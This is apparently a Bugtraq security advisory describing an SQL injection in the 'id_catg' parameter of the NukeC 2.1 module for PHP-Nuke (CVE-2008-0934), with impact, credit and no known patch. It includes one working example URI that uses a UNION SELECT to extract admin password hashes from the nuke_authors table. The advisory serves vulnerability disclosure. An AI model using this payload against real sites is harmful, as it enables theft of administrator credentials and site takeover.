PHP-Nuke NukeC Module 'id_catg' Parameter SQL Injection Vulnerability

Bugtraq ID:	27937
Class:	Input Validation Error
CVE:	CVE-2008-0934
Remote:	Yes
Local:	No
Published:	Feb 21 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	DamaR is credited with the discovery of this vulnerability.
Vulnerable:	NukeC NukeC 2.1
Not Vulnerable:

PHP-Nuke NukeC Module 'id_catg' Parameter SQL Injection Vulnerability

The NukeC module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

NukeC 2.1 is vulnerable; other versions may also be affected.

PHP-Nuke NukeC Module 'id_catg' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/modules.php?name=NukeC&op=ViewCatg&id_catg=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2

PHP-Nuke NukeC Module 'id_catg' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PHP-Nuke NukeC Module 'id_catg' Parameter SQL Injection Vulnerability

References:

• NukeC Product Page (NukeC)
  
• PHP-Nuke Homepage (PHP-Nuke)